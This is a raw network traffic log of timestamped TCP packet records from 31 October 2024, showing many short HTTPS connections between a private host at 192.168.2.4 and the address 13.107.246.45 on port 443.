Oct 31, 2024 07:15:08.301443100 CET	443	49805	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:08.306533098 CET	443	49801	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:08.306829929 CET	49801	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:08.306838036 CET	443	49801	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:08.307256937 CET	49801	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:08.307261944 CET	443	49801	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:08.357254028 CET	443	49802	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:08.360200882 CET	49802	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:08.360209942 CET	443	49802	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:08.360619068 CET	49802	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:08.360622883 CET	443	49802	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:08.435362101 CET	443	49801	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:08.435524940 CET	443	49801	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:08.435575962 CET	49801	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:08.435684919 CET	49801	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:08.435695887 CET	443	49801	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:08.435705900 CET	49801	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:08.435710907 CET	443	49801	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:08.438616037 CET	49806	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:08.438631058 CET	443	49806	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:08.438702106 CET	49806	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:08.438841105 CET	49806	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:08.438852072 CET	443	49806	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:08.488934994 CET	443	49802	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:08.488976002 CET	443	49802	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:08.489022017 CET	49802	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:08.491813898 CET	49802	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:08.491822958 CET	443	49802	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:08.491831064 CET	49802	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:08.491833925 CET	443	49802	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:08.494604111 CET	49807	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:08.494632959 CET	443	49807	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:08.494694948 CET	49807	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:08.494831085 CET	49807	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:08.494844913 CET	443	49807	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:10.043356895 CET	443	49803	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:10.043934107 CET	49803	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:10.043948889 CET	443	49803	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:10.044521093 CET	443	49805	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:10.044567108 CET	49803	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:10.044572115 CET	443	49803	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:10.044903040 CET	49805	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:10.044914007 CET	443	49805	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:10.045281887 CET	49805	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:10.045285940 CET	443	49805	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:10.048305035 CET	443	49804	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:10.048548937 CET	49804	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:10.048563957 CET	443	49804	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:10.048886061 CET	49804	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:10.048890114 CET	443	49804	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:10.168262959 CET	443	49806	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:10.168767929 CET	49806	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:10.168776035 CET	443	49806	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:10.169193029 CET	49806	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:10.169195890 CET	443	49806	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:10.170972109 CET	443	49807	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:10.171228886 CET	49807	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:10.171255112 CET	443	49807	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:10.171560049 CET	49807	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:10.171565056 CET	443	49807	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:10.176361084 CET	443	49805	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:10.176626921 CET	443	49805	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:10.176686049 CET	49805	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:10.176732063 CET	49805	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:10.176743984 CET	443	49805	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:10.176754951 CET	49805	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:10.176759958 CET	443	49805	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:10.177761078 CET	443	49804	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:10.178047895 CET	443	49804	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:10.178102016 CET	49804	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:10.178139925 CET	49804	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:10.178152084 CET	443	49804	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:10.178164959 CET	49804	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:10.178169966 CET	443	49804	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:10.179467916 CET	49808	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:10.179491043 CET	443	49808	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:10.179560900 CET	49808	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:10.179689884 CET	49808	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:10.179701090 CET	443	49808	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:10.180090904 CET	49809	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:10.180107117 CET	443	49809	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:10.180170059 CET	49809	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:10.180268049 CET	49809	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:10.180277109 CET	443	49809	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:10.180839062 CET	443	49803	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:10.181147099 CET	443	49803	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:10.181191921 CET	49803	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:10.181226015 CET	49803	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:10.181230068 CET	443	49803	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:10.181240082 CET	49803	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:10.181242943 CET	443	49803	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:10.183029890 CET	49810	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:10.183037043 CET	443	49810	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:10.183111906 CET	49810	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:10.183245897 CET	49810	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:10.183258057 CET	443	49810	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:10.298456907 CET	443	49806	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:10.298692942 CET	443	49806	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:10.298759937 CET	49806	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:10.298815966 CET	49806	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:10.298823118 CET	443	49806	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:10.298830032 CET	49806	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:10.298835993 CET	443	49806	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:10.301326990 CET	49811	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:10.301347971 CET	443	49811	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:10.301412106 CET	49811	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:10.301552057 CET	49811	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:10.301561117 CET	443	49811	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:10.302701950 CET	443	49807	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:10.302835941 CET	443	49807	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:10.302886009 CET	49807	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:10.302906990 CET	49807	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:10.302918911 CET	443	49807	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:10.302948952 CET	49807	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:10.302954912 CET	443	49807	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:10.304701090 CET	49812	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:10.304717064 CET	443	49812	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:10.304765940 CET	49812	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:10.304898024 CET	49812	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:10.304915905 CET	443	49812	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:11.521812916 CET	443	49810	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:11.522639036 CET	443	49808	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:11.524774075 CET	49810	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:11.524787903 CET	443	49810	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:11.526098013 CET	49810	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:11.526104927 CET	443	49810	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:11.526494980 CET	49808	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:11.526500940 CET	443	49808	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:11.526856899 CET	49808	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:11.526859999 CET	443	49808	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:11.527271032 CET	443	49809	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:11.527653933 CET	49809	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:11.527667999 CET	443	49809	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:11.528059959 CET	49809	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:11.528064013 CET	443	49809	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:11.650127888 CET	443	49812	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:11.650491953 CET	49812	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:11.650501966 CET	443	49812	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:11.650748968 CET	443	49811	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:11.650885105 CET	49812	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:11.650890112 CET	443	49812	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:11.651000977 CET	49811	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:11.651012897 CET	443	49811	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:11.651340008 CET	49811	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:11.651344061 CET	443	49811	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:11.655345917 CET	443	49810	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:11.655467033 CET	443	49810	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:11.655522108 CET	49810	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:11.655555964 CET	49810	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:11.655571938 CET	443	49810	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:11.655580997 CET	49810	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:11.655589104 CET	443	49810	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:11.657373905 CET	443	49808	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:11.657435894 CET	443	49808	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:11.657478094 CET	49808	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:11.657572031 CET	49808	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:11.657576084 CET	443	49808	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:11.657584906 CET	49808	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:11.657588005 CET	443	49808	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:11.658282995 CET	49813	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:11.658299923 CET	443	49813	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:11.658391953 CET	49813	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:11.658519983 CET	49813	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:11.658530951 CET	443	49813	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:11.659502983 CET	49814	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:11.659527063 CET	443	49814	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:11.659595966 CET	49814	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:11.659720898 CET	49814	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:11.659737110 CET	443	49814	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:11.660021067 CET	443	49809	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:11.660168886 CET	443	49809	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:11.660223007 CET	49809	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:11.660255909 CET	49809	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:11.660264015 CET	443	49809	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:11.660276890 CET	49809	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:11.660280943 CET	443	49809	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:11.662090063 CET	49815	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:11.662098885 CET	443	49815	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:11.662168026 CET	49815	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:11.662292004 CET	49815	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:11.662301064 CET	443	49815	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:11.782104015 CET	443	49811	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:11.782144070 CET	443	49811	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:11.782213926 CET	49811	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:11.782346964 CET	49811	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:11.782354116 CET	443	49811	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:11.782390118 CET	49811	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:11.782393932 CET	443	49811	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:11.784296036 CET	49816	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:11.784332037 CET	443	49816	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:11.784410000 CET	49816	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:11.784508944 CET	49816	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:11.784524918 CET	443	49816	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:11.794200897 CET	443	49812	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:11.794439077 CET	443	49812	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:11.794483900 CET	49812	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:11.794519901 CET	49812	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:11.794533014 CET	443	49812	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:11.794543982 CET	49812	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:11.794550896 CET	443	49812	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:11.804208040 CET	49817	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:11.804236889 CET	443	49817	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:11.804296970 CET	49817	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:11.804436922 CET	49817	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:11.804450035 CET	443	49817	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:12.387444973 CET	443	49814	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:12.388005018 CET	49814	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:12.388027906 CET	443	49814	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:12.388510942 CET	49814	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:12.388518095 CET	443	49814	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:12.389309883 CET	443	49813	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:12.389638901 CET	49813	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:12.389662027 CET	443	49813	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:12.390072107 CET	49813	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:12.390077114 CET	443	49813	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:12.396459103 CET	443	49815	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:12.396732092 CET	49815	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:12.396738052 CET	443	49815	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:12.397124052 CET	49815	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:12.397126913 CET	443	49815	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:12.511522055 CET	443	49816	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:12.512070894 CET	49816	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:12.512100935 CET	443	49816	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:12.512646914 CET	49816	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:12.512651920 CET	443	49816	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:12.516979933 CET	443	49814	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:12.517019987 CET	443	49814	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:12.517158031 CET	49814	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:12.517347097 CET	49814	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:12.517362118 CET	443	49814	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:12.517373085 CET	49814	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:12.517378092 CET	443	49814	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:12.518395901 CET	443	49813	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:12.518743038 CET	443	49813	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:12.518798113 CET	49813	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:12.518835068 CET	49813	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:12.518846989 CET	443	49813	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:12.518855095 CET	49813	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:12.518860102 CET	443	49813	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:12.519952059 CET	49818	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:12.519978046 CET	443	49818	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:12.520050049 CET	49818	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:12.520142078 CET	49818	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:12.520148993 CET	443	49818	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:12.520757914 CET	49819	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:12.520782948 CET	443	49819	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:12.520852089 CET	49819	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:12.520942926 CET	49819	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:12.520953894 CET	443	49819	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:12.525501013 CET	443	49815	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:12.525640965 CET	443	49815	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:12.525698900 CET	49815	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:12.525726080 CET	49815	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:12.525726080 CET	49815	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:12.525731087 CET	443	49815	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:12.525738001 CET	443	49815	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:12.527920008 CET	49820	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:12.527951002 CET	443	49820	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:12.528024912 CET	49820	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:12.528203011 CET	49820	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:12.528223991 CET	443	49820	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:12.542320967 CET	443	49817	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:12.542618036 CET	49817	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:12.542630911 CET	443	49817	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:12.543014050 CET	49817	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:12.543018103 CET	443	49817	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:12.641952038 CET	443	49816	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:12.642062902 CET	443	49816	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:12.642107010 CET	49816	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:12.642214060 CET	49816	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:12.642229080 CET	443	49816	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:12.642239094 CET	49816	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:12.642245054 CET	443	49816	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:12.644881010 CET	49821	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:12.644903898 CET	443	49821	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:12.644984961 CET	49821	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:12.645128965 CET	49821	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:12.645143032 CET	443	49821	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:12.673058033 CET	443	49817	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:12.673235893 CET	443	49817	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:12.673288107 CET	49817	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:12.673302889 CET	49817	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:12.673310041 CET	443	49817	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:12.673319101 CET	49817	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:12.673326969 CET	443	49817	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:12.675194025 CET	49822	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:12.675223112 CET	443	49822	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:12.675329924 CET	49822	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:12.675432920 CET	49822	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:12.675456047 CET	443	49822	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:13.249572992 CET	443	49818	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:13.250034094 CET	49818	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:13.250055075 CET	443	49818	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:13.250489950 CET	49818	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:13.250497103 CET	443	49818	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:13.256424904 CET	443	49819	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:13.256910086 CET	49819	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:13.256922007 CET	443	49819	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:13.257291079 CET	49819	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:13.257296085 CET	443	49819	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:13.277724028 CET	443	49820	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:13.278359890 CET	49820	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:13.278374910 CET	443	49820	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:13.278744936 CET	49820	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:13.278750896 CET	443	49820	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:13.375983000 CET	443	49821	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:13.376384974 CET	49821	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:13.376403093 CET	443	49821	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:13.376807928 CET	49821	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:13.376816034 CET	443	49821	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:13.378884077 CET	443	49818	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:13.378982067 CET	443	49818	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:13.379030943 CET	49818	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:13.379128933 CET	49818	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:13.379142046 CET	443	49818	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:13.379151106 CET	49818	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:13.379157066 CET	443	49818	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:13.381474972 CET	49823	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:13.381498098 CET	443	49823	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:13.381553888 CET	49823	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:13.381674051 CET	49823	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:13.381689072 CET	443	49823	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:13.389038086 CET	443	49819	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:13.389084101 CET	443	49819	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:13.389137030 CET	49819	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:13.389278889 CET	49819	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:13.389287949 CET	443	49819	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:13.389297009 CET	49819	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:13.389301062 CET	443	49819	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:13.391182899 CET	49824	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:13.391226053 CET	443	49824	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:13.391284943 CET	49824	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:13.391395092 CET	49824	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:13.391413927 CET	443	49824	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:13.400953054 CET	443	49822	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:13.401319027 CET	49822	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:13.401338100 CET	443	49822	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:13.401721954 CET	49822	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:13.401732922 CET	443	49822	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:13.410521984 CET	443	49820	13.107.246.45	192.168.2.4
